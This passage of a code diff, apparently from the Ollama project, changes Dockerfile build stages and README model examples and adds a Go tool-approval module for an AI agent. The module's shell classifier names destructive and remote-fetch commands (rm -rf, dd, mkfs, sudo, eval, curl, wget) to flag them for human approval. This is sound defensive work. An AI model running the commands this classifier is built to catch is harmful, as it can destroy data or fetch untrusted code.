FROM --platform=linux/amd64 scratch AS amd64
|
||||
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=vulkan dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
|
||||
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM --platform=linux/arm64 scratch AS arm64
|
||||
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=cuda-13 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=jetpack-5 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=jetpack-6 dist/lib/ollama/ /lib/ollama/
|
||||
|
||||
FROM scratch AS rocm
|
||||
COPY --from=rocm-7 dist/lib/ollama /lib/ollama
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama
|
||||
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama
|
||||
|
||||
FROM ${FLAVOR} AS archive
|
||||
COPY --from=cpu dist/lib/ollama /lib/ollama
|
||||
FROM --platform=linux/amd64 scratch AS amd64-archive
|
||||
COPY --from=amd64 /lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM --platform=linux/arm64 scratch AS arm64-archive
|
||||
COPY --from=arm64 /lib/ollama /lib/ollama/
|
||||
|
||||
FROM ${TARGETARCH}-archive AS archive
|
||||
COPY --from=build /bin/ollama /bin/ollama
|
||||
|
||||
FROM ${FLAVOR} AS image-archive
|
||||
COPY --from=build /bin/ollama /bin/ollama
|
||||
|
||||
FROM ubuntu:24.04
|
||||
ARG APT_MIRROR=http://archive.ubuntu.com/ubuntu
|
||||
RUN sed -i "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" /etc/apt/sources.list.d/ubuntu.sources \
|
||||
ARG APT_PORTS_MIRROR=http://ports.ubuntu.com/ubuntu-ports
|
||||
RUN sed -i \
|
||||
-e "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" \
|
||||
-e "s|http://ports.ubuntu.com/ubuntu-ports|$APT_PORTS_MIRROR|g" \
|
||||
/etc/apt/sources.list.d/ubuntu.sources \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y ca-certificates libvulkan1 libopenblas0 \
|
||||
&& sed -i "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" /etc/apt/sources.list.d/ubuntu.sources \
|
||||
&& sed -i \
|
||||
-e "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" \
|
||||
-e "s|$APT_PORTS_MIRROR|http://ports.ubuntu.com/ubuntu-ports|g" \
|
||||
/etc/apt/sources.list.d/ubuntu.sources \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
COPY --from=archive /bin /usr/bin
|
||||
COPY --from=image-archive /bin /usr/bin
|
||||
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
COPY --from=archive /lib/ollama /usr/lib/ollama
|
||||
COPY --from=image-archive /lib/ollama /usr/lib/ollama
|
||||
ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
|
||||
ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
|
||||
ENV NVIDIA_VISIBLE_DEVICES=all
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
b9509
|
||||
+1
-1
@@ -1 +1 @@
|
||||
e8ebdebeeb655feaa85a51f6b24ece5b6d5518d1
|
||||
2165dc08d7b33258260aa849d39f087d50e62962
|
||||
@@ -1,76 +0,0 @@
|
||||
UPSTREAM=https://github.com/ggml-org/llama.cpp.git
|
||||
WORKDIR=llama/vendor
|
||||
FETCH_HEAD=ec98e2002
|
||||
|
||||
.PHONY: help
|
||||
help:
|
||||
@echo "Available targets:"
|
||||
@echo " sync Sync with upstream repositories"
|
||||
@echo " checkout Checkout upstream repository"
|
||||
@echo " apply-patches Apply patches to local repository"
|
||||
@echo " format-patches Format patches from local repository"
|
||||
@echo " clean Clean local repository"
|
||||
@echo
|
||||
@echo "Example:"
|
||||
@echo " make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches sync"
|
||||
|
||||
.PHONY: sync
|
||||
sync: llama/build-info.cpp ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal
|
||||
|
||||
llama/build-info.cpp: llama/build-info.cpp.in llama/llama.cpp
|
||||
sed -e 's|@FETCH_HEAD@|$(FETCH_HEAD)|' <$< >$@
|
||||
|
||||
ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal: ml/backend/ggml/ggml
|
||||
go generate ./$(@D)
|
||||
|
||||
.PHONY: llama/llama.cpp
|
||||
llama/llama.cpp: llama/vendor
|
||||
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /) $@
|
||||
|
||||
.PHONY: ml/backend/ggml/ggml
|
||||
ml/backend/ggml/ggml: llama/vendor
|
||||
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /ggml/) $@
|
||||
|
||||
PATCHES=$(wildcard llama/patches/*.patch)
|
||||
PATCHED=$(join $(dir $(PATCHES)), $(addsuffix ed, $(addprefix ., $(notdir $(PATCHES)))))
|
||||
|
||||
.PHONY: apply-patches
|
||||
.NOTPARALLEL:
|
||||
apply-patches: $(PATCHED)
|
||||
|
||||
llama/patches/.%.patched: llama/patches/%.patch
|
||||
@if git -c user.name=nobody -c 'user.email=<>' -C $(WORKDIR) am -3 $(realpath $<); then \
|
||||
touch $@; \
|
||||
else \
|
||||
echo "Patch failed. Resolve any conflicts then continue."; \
|
||||
echo "1. Run 'git -C $(WORKDIR) am --continue'"; \
|
||||
echo "2. Run 'make -f $(lastword $(MAKEFILE_LIST)) format-patches'"; \
|
||||
echo "3. Run 'make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches'"; \
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: checkout
|
||||
checkout: $(WORKDIR)
|
||||
git -C $(WORKDIR) fetch
|
||||
git -C $(WORKDIR) checkout -f $(FETCH_HEAD)
|
||||
|
||||
$(WORKDIR):
|
||||
git clone $(UPSTREAM) $(WORKDIR)
|
||||
|
||||
.PHONY: format-patches
|
||||
format-patches: llama/patches
|
||||
git -C $(WORKDIR) format-patch \
|
||||
--no-signature \
|
||||
--no-numbered \
|
||||
--zero-commit \
|
||||
-o $(realpath $<) \
|
||||
$(FETCH_HEAD)
|
||||
|
||||
.PHONY: clean
|
||||
clean: checkout
|
||||
@git -C $(WORKDIR) am --abort || true
|
||||
$(RM) llama/patches/.*.patched
|
||||
|
||||
.PHONY: print-base
|
||||
print-base:
|
||||
@echo $(FETCH_HEAD)
|
||||
@@ -77,10 +77,10 @@ ollama launch openclaw
|
||||
|
||||
### Chat with a model
|
||||
|
||||
Run and chat with [Gemma 3](https://ollama.com/library/gemma3):
|
||||
Run and chat with [Gemma 4](https://ollama.com/library/gemma4):
|
||||
|
||||
```
|
||||
ollama run gemma3
|
||||
ollama run gemma4
|
||||
```
|
||||
|
||||
See [ollama.com/library](https://ollama.com/library) for the full list.
|
||||
@@ -93,7 +93,7 @@ Ollama has a REST API for running and managing models.
|
||||
|
||||
```
|
||||
curl http://localhost:11434/api/chat -d '{
|
||||
"model": "gemma3",
|
||||
"model": "gemma4",
|
||||
"messages": [{
|
||||
"role": "user",
|
||||
"content": "Why is the sky blue?"
|
||||
@@ -113,7 +113,7 @@ pip install ollama
|
||||
```python
|
||||
from ollama import chat
|
||||
|
||||
response = chat(model='gemma3', messages=[
|
||||
response = chat(model='gemma4', messages=[
|
||||
{
|
||||
'role': 'user',
|
||||
'content': 'Why is the sky blue?',
|
||||
@@ -132,7 +132,7 @@ npm i ollama
|
||||
import ollama from "ollama";
|
||||
|
||||
const response = await ollama.chat({
|
||||
model: "gemma3",
|
||||
model: "gemma4",
|
||||
messages: [{ role: "user", content: "Why is the sky blue?" }],
|
||||
});
|
||||
console.log(response.message.content);
|
||||
|
||||
@@ -0,0 +1,905 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
type ApprovalDecision string
|
||||
|
||||
const (
|
||||
ApprovalAllowOnce ApprovalDecision = "allow_once"
|
||||
ApprovalAllowSession ApprovalDecision = "allow_session"
|
||||
ApprovalDeny ApprovalDecision = "deny"
|
||||
)
|
||||
|
||||
type ApprovalRisk string
|
||||
|
||||
const (
|
||||
ApprovalRiskLow ApprovalRisk = "low"
|
||||
ApprovalRiskMedium ApprovalRisk = "medium"
|
||||
ApprovalRiskHigh ApprovalRisk = "high"
|
||||
)
|
||||
|
||||
type ApprovalRequest struct {
|
||||
ToolCallID string
|
||||
ToolName string
|
||||
Args map[string]any
|
||||
WorkingDir string
|
||||
ToolApprovalRequired bool
|
||||
Summary string
|
||||
Risk ApprovalRisk
|
||||
Reasons []string
|
||||
}
|
||||
|
||||
type ApprovalResult struct {
|
||||
Decision ApprovalDecision
|
||||
Reason string
|
||||
}
|
||||
|
||||
type ApprovalHandler interface {
|
||||
RequiresApproval(context.Context, Tool, ApprovalRequest) bool
|
||||
Approve(context.Context, ApprovalRequest) (ApprovalResult, error)
|
||||
}
|
||||
|
||||
type ApprovalPrompter interface {
|
||||
PromptApproval(context.Context, ApprovalRequest) (ApprovalResult, error)
|
||||
}
|
||||
|
||||
type ApprovalPolicy interface {
|
||||
EvaluateApproval(context.Context, ApprovalRequest) ApprovalEvaluation
|
||||
}
|
||||
|
||||
type ApprovalEvaluation struct {
|
||||
Decision ApprovalDecision
|
||||
RequirePrompt bool
|
||||
Risk ApprovalRisk
|
||||
Summary string
|
||||
Reasons []string
|
||||
SessionKey string
|
||||
}
|
||||
|
||||
type AutoAllowApproval struct{}
|
||||
|
||||
func (AutoAllowApproval) RequiresApproval(context.Context, Tool, ApprovalRequest) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (AutoAllowApproval) Approve(context.Context, ApprovalRequest) (ApprovalResult, error) {
|
||||
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
|
||||
}
|
||||
|
||||
type ApprovalManagerOptions struct {
|
||||
Policy ApprovalPolicy
|
||||
Prompter ApprovalPrompter
|
||||
}
|
||||
|
||||
type ApprovalManager struct {
|
||||
policy ApprovalPolicy
|
||||
prompter ApprovalPrompter
|
||||
|
||||
mu *sync.Mutex
|
||||
sessionAllowed map[string]struct{}
|
||||
}
|
||||
|
||||
func NewApprovalManager(opts ApprovalManagerOptions) *ApprovalManager {
|
||||
policy := opts.Policy
|
||||
if policy == nil {
|
||||
policy = DefaultApprovalPolicy{}
|
||||
}
|
||||
return &ApprovalManager{
|
||||
policy: policy,
|
||||
prompter: opts.Prompter,
|
||||
mu: &sync.Mutex{},
|
||||
sessionAllowed: make(map[string]struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) WithPrompter(prompter ApprovalPrompter) *ApprovalManager {
|
||||
if m == nil {
|
||||
return NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
|
||||
}
|
||||
return &ApprovalManager{
|
||||
policy: m.policy,
|
||||
prompter: prompter,
|
||||
mu: m.mu,
|
||||
sessionAllowed: m.sessionAllowed,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) RequiresApproval(ctx context.Context, tool Tool, req ApprovalRequest) bool {
|
||||
if m == nil {
|
||||
return false
|
||||
}
|
||||
req.ToolApprovalRequired = req.ToolApprovalRequired || ToolRequiresApproval(tool, req.Args)
|
||||
evaluation := applyToolApprovalRequirement(req, m.evaluate(ctx, req))
|
||||
if evaluation.Decision == ApprovalDeny {
|
||||
return true
|
||||
}
|
||||
if evaluation.RequirePrompt {
|
||||
return !m.sessionAllowedFor(evaluation.SessionKey)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) Approve(ctx context.Context, req ApprovalRequest) (ApprovalResult, error) {
|
||||
if m == nil {
|
||||
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
|
||||
}
|
||||
|
||||
evaluation := applyToolApprovalRequirement(req, m.evaluate(ctx, req))
|
||||
req = approvalRequestWithEvaluation(req, evaluation)
|
||||
|
||||
if evaluation.Decision == ApprovalDeny {
|
||||
reason := strings.Join(evaluation.Reasons, "; ")
|
||||
if reason == "" {
|
||||
reason = "Tool execution denied."
|
||||
}
|
||||
return ApprovalResult{Decision: ApprovalDeny, Reason: reason}, nil
|
||||
}
|
||||
|
||||
if !evaluation.RequirePrompt || m.sessionAllowedFor(evaluation.SessionKey) {
|
||||
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
|
||||
}
|
||||
|
||||
if m.prompter == nil {
|
||||
return ApprovalResult{
|
||||
Decision: ApprovalDeny,
|
||||
Reason: "Tool execution requires approval, but no approval prompter is available. Re-run with --auto-approve-tools or --yolo to allow tool execution.",
|
||||
}, nil
|
||||
}
|
||||
|
||||
result, err := m.prompter.PromptApproval(ctx, req)
|
||||
if err != nil {
|
||||
return ApprovalResult{}, err
|
||||
}
|
||||
if result.Decision == "" {
|
||||
result.Decision = ApprovalDeny
|
||||
}
|
||||
if result.Decision == ApprovalAllowSession {
|
||||
m.allowSession(evaluation.SessionKey)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) evaluate(ctx context.Context, req ApprovalRequest) ApprovalEvaluation {
|
||||
if m == nil || m.policy == nil {
|
||||
return DefaultApprovalPolicy{}.EvaluateApproval(ctx, req)
|
||||
}
|
||||
evaluation := m.policy.EvaluateApproval(ctx, req)
|
||||
if evaluation.Risk == "" {
|
||||
evaluation.Risk = ApprovalRiskLow
|
||||
}
|
||||
if evaluation.SessionKey == "" {
|
||||
evaluation.SessionKey = approvalSessionKey(req)
|
||||
}
|
||||
return evaluation
|
||||
}
|
||||
|
||||
func applyToolApprovalRequirement(req ApprovalRequest, evaluation ApprovalEvaluation) ApprovalEvaluation {
|
||||
if !req.ToolApprovalRequired || evaluation.Decision == ApprovalDeny {
|
||||
return evaluation
|
||||
}
|
||||
evaluation.RequirePrompt = true
|
||||
if evaluation.Summary == "" {
|
||||
evaluation.Summary = fmt.Sprintf("%s wants to run", ToolDisplayName(req.ToolName))
|
||||
}
|
||||
if len(evaluation.Reasons) == 0 {
|
||||
evaluation.Reasons = []string{"tool requires approval"}
|
||||
}
|
||||
return evaluation
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) sessionAllowedFor(key string) bool {
|
||||
if m == nil || key == "" {
|
||||
return false
|
||||
}
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
_, ok := m.sessionAllowed[key]
|
||||
return ok
|
||||
}
|
||||
|
||||
func (m *ApprovalManager) allowSession(key string) {
|
||||
if m == nil || key == "" {
|
||||
return
|
||||
}
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
m.sessionAllowed[key] = struct{}{}
|
||||
}
|
||||
|
||||
func approvalRequestWithEvaluation(req ApprovalRequest, evaluation ApprovalEvaluation) ApprovalRequest {
|
||||
req.Summary = evaluation.Summary
|
||||
req.Risk = evaluation.Risk
|
||||
req.Reasons = slices.Clone(evaluation.Reasons)
|
||||
return req
|
||||
}
|
||||
|
||||
func approvalSessionKey(req ApprovalRequest) string {
|
||||
if IsShellToolName(req.ToolName) {
|
||||
if command, ok := stringApprovalArg(req.Args, "command"); ok {
|
||||
return req.ToolName + ":" + command
|
||||
}
|
||||
}
|
||||
switch req.ToolName {
|
||||
case "edit":
|
||||
if path, ok := stringApprovalArg(req.Args, "path"); ok {
|
||||
return "edit:" + path
|
||||
}
|
||||
case "web_search":
|
||||
if query, ok := stringApprovalArg(req.Args, "query"); ok {
|
||||
return "web_search:" + query
|
||||
}
|
||||
case "web_fetch":
|
||||
if targetURL, ok := stringApprovalArg(req.Args, "url"); ok {
|
||||
return "web_fetch:" + targetURL
|
||||
}
|
||||
}
|
||||
return req.ToolName + ":" + stableApprovalArgs(req.Args)
|
||||
}
|
||||
|
||||
type DefaultApprovalPolicy struct{}
|
||||
|
||||
func (DefaultApprovalPolicy) EvaluateApproval(_ context.Context, req ApprovalRequest) ApprovalEvaluation {
|
||||
switch req.ToolName {
|
||||
case "read":
|
||||
if path, ok := stringApprovalArg(req.Args, "path"); ok {
|
||||
if reason := approvalPathEscapeReason(req.WorkingDir, path); reason != "" {
|
||||
return denyApproval(req.ToolName, ApprovalRiskHigh, reason)
|
||||
}
|
||||
}
|
||||
return ApprovalEvaluation{Decision: ApprovalAllowOnce, Risk: ApprovalRiskLow, Summary: fmt.Sprintf("%s can run without approval", ToolDisplayName(req.ToolName))}
|
||||
case "web_search", "web_fetch":
|
||||
return evaluateWebApproval(req)
|
||||
case "edit":
|
||||
return evaluateEditApproval(req)
|
||||
case "bash", "powershell":
|
||||
return evaluateShellApproval(req)
|
||||
default:
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("%s wants to run", ToolDisplayName(req.ToolName)),
|
||||
Reasons: []string{"unknown tool effects"},
|
||||
SessionKey: approvalSessionKey(req),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func evaluateEditApproval(req ApprovalRequest) ApprovalEvaluation {
|
||||
path, ok := stringApprovalArg(req.Args, "path")
|
||||
if !ok {
|
||||
return denyApproval("edit", ApprovalRiskHigh, "missing path argument")
|
||||
}
|
||||
if reason := approvalPathEscapeReason(req.WorkingDir, path); reason != "" {
|
||||
return denyApproval("edit", ApprovalRiskHigh, reason)
|
||||
}
|
||||
|
||||
reasons := []string{"writes to a file"}
|
||||
if replaceAll, _ := req.Args["replace_all"].(bool); replaceAll {
|
||||
reasons = append(reasons, "may replace multiple matches")
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("Edit wants to modify %s", sanitizeApprovalDisplay(path)),
|
||||
Reasons: reasons,
|
||||
SessionKey: "edit:" + path,
|
||||
}
|
||||
}
|
||||
|
||||
func evaluateWebApproval(req ApprovalRequest) ApprovalEvaluation {
|
||||
switch req.ToolName {
|
||||
case "web_search":
|
||||
query, ok := stringApprovalArg(req.Args, "query")
|
||||
if !ok {
|
||||
return denyApproval("web_search", ApprovalRiskHigh, "missing query argument")
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("Web Search wants to search for %q", sanitizeApprovalDisplay(query)),
|
||||
Reasons: []string{"searches the web"},
|
||||
SessionKey: "web_search:" + query,
|
||||
}
|
||||
case "web_fetch":
|
||||
targetURL, ok := stringApprovalArg(req.Args, "url")
|
||||
if !ok {
|
||||
return denyApproval("web_fetch", ApprovalRiskHigh, "missing url argument")
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("Web Fetch wants to fetch %s", sanitizeApprovalDisplay(targetURL)),
|
||||
Reasons: []string{"fetches web content"},
|
||||
SessionKey: "web_fetch:" + targetURL,
|
||||
}
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: ApprovalRiskMedium,
|
||||
Summary: fmt.Sprintf("%s wants to run", ToolDisplayName(req.ToolName)),
|
||||
Reasons: []string{"accesses the web"},
|
||||
SessionKey: approvalSessionKey(req),
|
||||
}
|
||||
}
|
||||
|
||||
func sanitizeApprovalDisplay(value string) string {
|
||||
value = approvalANSIEscapePattern.ReplaceAllString(value, "")
|
||||
value = strings.Map(func(r rune) rune {
|
||||
switch r {
|
||||
case '\n', '\r', '\t':
|
||||
return ' '
|
||||
}
|
||||
if unicode.IsControl(r) {
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, value)
|
||||
value = strings.Join(strings.Fields(value), " ")
|
||||
if value == "" {
|
||||
return "(empty)"
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
func evaluateShellApproval(req ApprovalRequest) ApprovalEvaluation {
|
||||
command, ok := stringApprovalArg(req.Args, "command")
|
||||
if !ok || strings.TrimSpace(command) == "" {
|
||||
return denyApproval(req.ToolName, ApprovalRiskHigh, "missing command argument")
|
||||
}
|
||||
|
||||
risk, reasons := classifyBashCommand(command)
|
||||
if len(reasons) == 0 {
|
||||
reasons = append(reasons, "runs shell commands")
|
||||
}
|
||||
return ApprovalEvaluation{
|
||||
RequirePrompt: true,
|
||||
Risk: risk,
|
||||
Summary: fmt.Sprintf("%s wants to run a command", ToolDisplayName(req.ToolName)),
|
||||
Reasons: reasons,
|
||||
SessionKey: req.ToolName + ":" + command,
|
||||
}
|
||||
}
|
||||
|
||||
func denyApproval(toolName string, risk ApprovalRisk, reason string) ApprovalEvaluation {
|
||||
return ApprovalEvaluation{
|
||||
Decision: ApprovalDeny,
|
||||
Risk: risk,
|
||||
Summary: fmt.Sprintf("%s cannot run", ToolDisplayName(toolName)),
|
||||
Reasons: []string{reason},
|
||||
SessionKey: approvalSessionKey(ApprovalRequest{ToolName: toolName}),
|
||||
}
|
||||
}
|
||||
|
||||
// Shell approval is static analysis of model-generated commands, not a sandbox.
|
||||
// Globs, aliases, environment, and runtime shell state are intentionally out of scope.
|
||||
func classifyBashCommand(command string) (ApprovalRisk, []string) {
|
||||
classifier := bashClassifier{risk: ApprovalRiskMedium}
|
||||
|
||||
tokens, scannerReasons, scannerHigh := scanBashTokens(command)
|
||||
for _, reason := range scannerReasons {
|
||||
classifier.addReason(reason)
|
||||
}
|
||||
if scannerHigh {
|
||||
classifier.high = true
|
||||
}
|
||||
|
||||
if bashFunctionDeclPattern.MatchString(command) {
|
||||
classifier.addReason("defines shell functions")
|
||||
classifier.high = true
|
||||
}
|
||||
if bashSubshellPattern.MatchString(command) {
|
||||
classifier.addReason("uses a subshell")
|
||||
classifier.high = true
|
||||
}
|
||||
|
||||
for _, token := range tokens {
|
||||
if token.kind != bashTokenOperator {
|
||||
continue
|
||||
}
|
||||
switch token.value {
|
||||
case "&&", "||", "|":
|
||||
classifier.addReason("uses shell control operator " + token.value)
|
||||
classifier.high = true
|
||||
case ";", "\n":
|
||||
classifier.addReason("uses shell statement separator")
|
||||
classifier.high = true
|
||||
case "&":
|
||||
classifier.addReason("runs a command in the background")
|
||||
classifier.high = true
|
||||
case "$(", "`":
|
||||
classifier.addReason("uses command substitution")
|
||||
classifier.high = true
|
||||
case "<(", ">(":
|
||||
classifier.addReason("uses process substitution")
|
||||
classifier.high = true
|
||||
case ">", ">>", ">|", ">&", "&>":
|
||||
classifier.addReason("writes or redirects files")
|
||||
classifier.high = true
|
||||
case "<", "<<", "<&":
|
||||
classifier.addReason("uses shell redirection")
|
||||
}
|
||||
}
|
||||
|
||||
for _, args := range bashCommandCalls(tokens) {
|
||||
classifier.addCall(args)
|
||||
}
|
||||
|
||||
if classifier.high {
|
||||
classifier.risk = ApprovalRiskHigh
|
||||
}
|
||||
return classifier.risk, classifier.reasons
|
||||
}
|
||||
|
||||
type bashClassifier struct {
|
||||
risk ApprovalRisk
|
||||
high bool
|
||||
reasons []string
|
||||
}
|
||||
|
||||
func (c *bashClassifier) addReason(reason string) {
|
||||
if reason == "" || slices.Contains(c.reasons, reason) {
|
||||
return
|
||||
}
|
||||
c.reasons = append(c.reasons, reason)
|
||||
}
|
||||
|
||||
func (c *bashClassifier) addCall(args []string) {
|
||||
args = shellCommandArgs(args)
|
||||
if len(args) == 0 {
|
||||
return
|
||||
}
|
||||
if isDynamicCommandName(args[0]) {
|
||||
c.addReason("uses dynamic command name")
|
||||
c.high = true
|
||||
}
|
||||
name := shellCommandBase(args[0])
|
||||
switch name {
|
||||
case "cd":
|
||||
c.addReason("changes directory")
|
||||
c.high = true
|
||||
case "eval":
|
||||
c.addReason("evaluates shell code")
|
||||
c.high = true
|
||||
case "source", ".":
|
||||
c.addReason("sources shell code")
|
||||
c.high = true
|
||||
case "exec":
|
||||
c.addReason("replaces the shell process")
|
||||
c.high = true
|
||||
case "sudo":
|
||||
c.addReason("runs with elevated privileges")
|
||||
c.high = true
|
||||
case "rm":
|
||||
if hasAnyFlag(args[1:], "r", "R", "recursive") || hasAnyFlag(args[1:], "f", "force") {
|
||||
c.addReason("removes files destructively")
|
||||
c.high = true
|
||||
}
|
||||
case "git":
|
||||
if isGitResetHard(args) {
|
||||
c.addReason("runs destructive git reset")
|
||||
c.high = true
|
||||
}
|
||||
if isGitCleanDestructive(args) {
|
||||
c.addReason("runs destructive git clean")
|
||||
c.high = true
|
||||
}
|
||||
case "find":
|
||||
c.addFindReasons(args)
|
||||
case "chmod", "chown":
|
||||
if hasAnyFlag(args[1:], "R", "recursive") {
|
||||
c.addReason("changes permissions or ownership recursively")
|
||||
c.high = true
|
||||
}
|
||||
case "dd", "diskutil":
|
||||
c.addReason("can write directly to disks")
|
||||
c.high = true
|
||||
case "mkfs", "newfs":
|
||||
c.addReason("formats filesystems")
|
||||
c.high = true
|
||||
case "curl", "wget":
|
||||
c.addReason("downloads remote content")
|
||||
case "sh", "bash", "zsh":
|
||||
if len(args) > 1 {
|
||||
c.addReason("runs a shell interpreter")
|
||||
c.high = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *bashClassifier) addFindReasons(args []string) {
|
||||
for i := 1; i < len(args); i++ {
|
||||
switch args[i] {
|
||||
case "-delete":
|
||||
c.addReason("deletes files via find")
|
||||
c.high = true
|
||||
case "-exec", "-execdir":
|
||||
c.addReason("executes commands via find")
|
||||
c.high = true
|
||||
end := i + 1
|
||||
for end < len(args) && args[end] != ";" && args[end] != `\;` && args[end] != "+" {
|
||||
end++
|
||||
}
|
||||
if end > i+1 {
|
||||
c.addCall(args[i+1 : end])
|
||||
}
|
||||
i = end
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func hasAnyFlag(args []string, flags ...string) bool {
|
||||
for _, arg := range args {
|
||||
if arg == "--" {
|
||||
return false
|
||||
}
|
||||
if !strings.HasPrefix(arg, "-") {
|
||||
continue
|
||||
}
|
||||
for _, flag := range flags {
|
||||
short := len(flag) == 1
|
||||
if short && strings.HasPrefix(arg, "-") && !strings.HasPrefix(arg, "--") && strings.Contains(arg[1:], flag) {
|
||||
return true
|
||||
}
|
||||
if arg == "--"+flag {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func isGitResetHard(args []string) bool {
|
||||
subcommand := gitSubcommandArgs(args)
|
||||
return len(subcommand) >= 2 && subcommand[0] == "reset" && slices.Contains(subcommand[1:], "--hard")
|
||||
}
|
||||
|
||||
func isGitCleanDestructive(args []string) bool {
|
||||
subcommand := gitSubcommandArgs(args)
|
||||
if len(subcommand) < 1 || subcommand[0] != "clean" {
|
||||
return false
|
||||
}
|
||||
return hasAnyFlag(subcommand[1:], "f", "force") && (hasAnyFlag(subcommand[1:], "d") || hasAnyFlag(subcommand[1:], "x", "X"))
|
||||
}
|
||||
|
||||
func gitSubcommandArgs(args []string) []string {
|
||||
for i := 1; i < len(args); i++ {
|
||||
arg := args[i]
|
||||
if arg == "--" {
|
||||
return args[i+1:]
|
||||
}
|
||||
switch {
|
||||
case arg == "-C", arg == "-c", arg == "--git-dir", arg == "--work-tree":
|
||||
i++
|
||||
continue
|
||||
case strings.HasPrefix(arg, "-C"), strings.HasPrefix(arg, "-c"):
|
||||
continue
|
||||
case strings.HasPrefix(arg, "--git-dir="), strings.HasPrefix(arg, "--work-tree="):
|
||||
continue
|
||||
case strings.HasPrefix(arg, "-"):
|
||||
continue
|
||||
default:
|
||||
return args[i:]
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type bashTokenKind int
|
||||
|
||||
const (
|
||||
bashTokenWord bashTokenKind = iota
|
||||
bashTokenOperator
|
||||
)
|
||||
|
||||
type bashToken struct {
|
||||
kind bashTokenKind
|
||||
value string
|
||||
}
|
||||
|
||||
var (
|
||||
approvalANSIEscapePattern = regexp.MustCompile(`\x1b(?:\[[0-?]*[ -/]*[@-~]|\][^\x07]*(?:\x07|\x1b\\))`)
|
||||
bashFunctionDeclPattern = regexp.MustCompile(`(?m)(^|[;&|[:space:]])(?:function[[:space:]]+)?[A-Za-z_][A-Za-z0-9_]*[[:space:]]*(?:\(\)[[:space:]]*)?\{`)
|
||||
bashSubshellPattern = regexp.MustCompile(`(?m)(^|[;&|[:space:]])\(`)
|
||||
)
|
||||
|
||||
func scanBashTokens(command string) ([]bashToken, []string, bool) {
|
||||
var tokens []bashToken
|
||||
